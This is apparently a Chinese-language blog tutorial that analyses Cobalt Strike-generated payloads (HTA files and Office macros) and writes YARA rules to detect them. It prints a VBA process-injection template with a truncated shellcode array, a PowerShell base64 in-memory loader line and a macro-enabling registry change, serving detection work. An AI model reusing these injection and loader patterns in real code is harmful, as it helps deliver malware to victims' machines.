用 Yara 对红队工具 打标(四)——cobaltstrike 生成马浅析
字数 1956 2025-08-06 18:08:01
CobaltStrike生成马分析与YARA规则设计指南
前言
本文是基于CobaltStrike生成的各种恶意载荷(Malware)的分析,以及如何针对这些载荷设计有效的YARA检测规则。内容涵盖HTML Application、MS Office Macro等多种载荷类型的分析,并参考Google云情报威胁团队开源的YARA规则集,提供实用的检测规则编写方法。
环境准备
- 工具: Cobalt Strike 4.7
- 参考规则集: Google开源的GCTI/YARA/CobaltStrike
- Listener设置: 使用HTTP监听器作为payload与server之间的桥梁
HTML Application分析
1. 包含PE文件的HTA
工作原理:
- 内嵌PE文件的十六进制数据流并硬编码到文件中
- 设置临时目录和随机文件名将PE流解码释放并运行
- 最后删除落地文件清除痕迹
特征提取:
- 使用CyberChef工具可解码PE流并生成原始PE文件
- 关键操作包括临时目录设置和文件释放
YARA规则设计:
rule Cobalt_Strike_Html_exe {
meta:
author = "muyi_lin"
description = "Detects Cobalt Strike HTA with embedded EXE"
date = "2022-12-23"
reference = "https://github.com/Threekiii/Awesome-Redteam"
strings:
$s1 = "var_tempdir & \"\\\" & var_obj.GetTempName()"
$s2 = "Wscript.Shell"
$re1 = /var_basedir & "\\" & "[A-z]{1,20}\.exe"/
$re2 = /For i = 1 to Len$[A-z]{1,20}$ Step 2/
$re3 = /var_stream\.Write Chr$CLng\("&H" & Mid\([A-z]{1,20},i,2$\)\)/
condition:
all of them
}
2. 包含PowerShell的HTA
工作原理:
- 解码base64加密的长串得到压缩包流
- 通过IO.MemoryStream等方法加载到内存中进行解压
- 典型代码示例:
$s=New-Object IO.MemoryStream(,[Convert]::FromBase64String("H4sI...")); IEX (New-Object IO.StreamReader(New-Object IO.Compression.GzipStream($s,[IO.Compression.CompressionMode]::Decompress))).ReadToEnd();
特征提取:
- 包含base64解码和内存流解压操作
- 动态加载函数地址、内存分配并复制等免杀操作
检测要点:
- 关注动态加载反射型的关键代码
- 检测带有核心beacon连接的通信部分的base64解密
- 检测动态获取成功与否的条件判断部分
3. 包含VBA的HTA
工作原理:
- 创建Excel应用对象
- 修改注册表键值允许插入和运行宏代码:
HKEY_CURRENT_USER\Software\Microsoft\Office\" & objExcel.Version & "\Excel\Security\AccessVBOM - 使用轻微混淆的VBA代码(通过&符号连接由chr函数转换的ascii)
特征提取:
- Excel.Application对象创建
- 注册表修改操作
- Chr()函数混淆的字符串拼接
MS Office Macro分析
典型代码结构:
Private Type PROCESS_INFORMATION
hProcess As Long
hThread As Long
dwProcessId As Long
dwThreadId As Long
End Type
Private Type STARTUPINFO
cb As Long
lpReserved As String
lpDesktop As String
lpTitle As String
dwX As Long
dwY As Long
dwXSize As Long
dwYSize As Long
dwXCountChars As Long
dwYCountChars As Long
dwFillAttribute As Long
dwFlags As Long
wShowWindow As Integer
cbReserved2 As Integer
lpReserved2 As Long
hStdInput As Long
hStdOutput As Long
hStdError As Long
End Type
#If VBA7 Then
Private Declare PtrSafe Function CreateStuff Lib "kernel32" Alias "CreateRemoteThread" (...)
Private Declare PtrSafe Function AllocStuff Lib "kernel32" Alias "VirtualAllocEx" (...)
Private Declare PtrSafe Function WriteStuff Lib "kernel32" Alias "WriteProcessMemory" (...)
Private Declare PtrSafe Function RunStuff Lib "kernel32" Alias "CreateProcessA" (...)
#Else
'... 32位版本声明
#End If
Sub Auto_Open()
Dim myByte As Long, myArray As Variant, offset As Long
Dim pInfo As PROCESS_INFORMATION
Dim sInfo As STARTUPINFO
Dim sNull As String
Dim sProc As String
#If VBA7 Then
Dim rwxpage As LongPtr, res As LongPtr
#Else
Dim rwxpage As Long, res As Long
#End If
myArray = Array(-4,-24,-119,0,0,0,96,...) ' shellcode数组
' 检查系统位数
If Len(Environ("ProgramW6432")) > 0 Then
sProc = Environ("windir") & "\\SysWOW64\\rundll32.exe"
Else
sProc = Environ("windir") & "\\System32\\rundll32.exe"
End If
' 创建进程、分配内存、写入shellcode、创建远程线程执行
res = RunStuff(sNull, sProc, ByVal 0&, ByVal 0&, ByVal 1&, ByVal 4&, ByVal 0&, sNull, sInfo, pInfo)
rwxpage = AllocStuff(pInfo.hProcess, 0, UBound(myArray), &H1000, &H40)
For offset = LBound(myArray) To UBound(myArray)
myByte = myArray(offset)
res = WriteStuff(pInfo.hProcess, rwxpage + offset, myByte, 1, ByVal 0&)
Next offset
res = CreateStuff(pInfo.hProcess, 0, 0, rwxpage, 0, 0, 0)
End Sub
工作原理:
- 定义关键API函数的别名(CreateRemoteThread→CreateStuff等)
- 检查系统位数选择正确的rundll32路径
- 创建挂起进程(CreateProcessA with CREATE_SUSPENDED)
- 在目标进程中分配内存(VirtualAllocEx)
- 写入shellcode数组(WriteProcessMemory)
- 创建远程线程执行shellcode(CreateRemoteThread)
特征提取:
- 自定义API函数别名
- 系统位数检查逻辑
- 进程创建、内存分配、远程线程执行的完整流程
- 关键变量名如"rwxpage"可能保持不变
YARA规则设计要点:
- 关注不变的自定义变量名(如rwxpage)
- 检测函数声明、变量定义和函数调用的顺序关系
- 使用位置约束(@符号)确保字符串出现的顺序和位置
YARA规则编写进阶技巧
1. 位置就是一切(Location is Everything)
关键原则:
- 不仅检测字符串存在,还要检测字符串出现的位置是否合理
- 考虑字符串在文件中的位置是否正常
- 检查字符串出现频率是否正常
- 验证字符串之间的距离是否符合预期
示例规则:
rule Webshell {
meta:
hash = "d5696b32d32177cf70eaaa5a28d1c5823526d87e20d3c62b747517c6d41656f7"
strings:
$m1 = "@eval(gzinflate(base64_decode("
condition:
uint16be(0) == 0x5A4D and filesize < 15KB and $m1 in (filesize-50..filesize)
}
2. Google规则分析
Google的规则特点:
- 关注不变的自定义变量(Dim rwxpage As Long)
- 使用位置约束确保代码结构:
- 变量声明在函数声明之后
- 函数调用在变量定义之后
- 避免与混淆加密部分硬碰硬,选择必要且不易变的部分
3. 高性能规则编写建议
- 使用hex或regex代替纯文本字符串匹配
- 合理使用nocase修饰符
- 避免过度宽泛的条件
- 利用位置约束提高准确性
- 优先检测独特且不变的特征
总结
-
HTML Application:
- 三种类型(PE嵌入、PowerShell、VBA)各有特点
- 关注前期准备代码而非混淆的核心部分
- 临时文件操作、内存流处理是关键特征
-
MS Office Macro:
- 完整的进程注入流程是检测重点
- 自定义变量名和API别名可能保持不变
- 系统位数检查逻辑具有特征性
-
YARA规则设计:
- 位置约束(@符号)大幅提高准确性
- 关注代码结构而非易变的内容
- 选择必要且不易变的特征作为检测点
后续研究方向
- Stager Payload Generator分析
- Windows Stager/Stageless Payload分析
- CobaltStrike的深度定制和魔改技术
- 更多载荷类型的特征提取和规则设计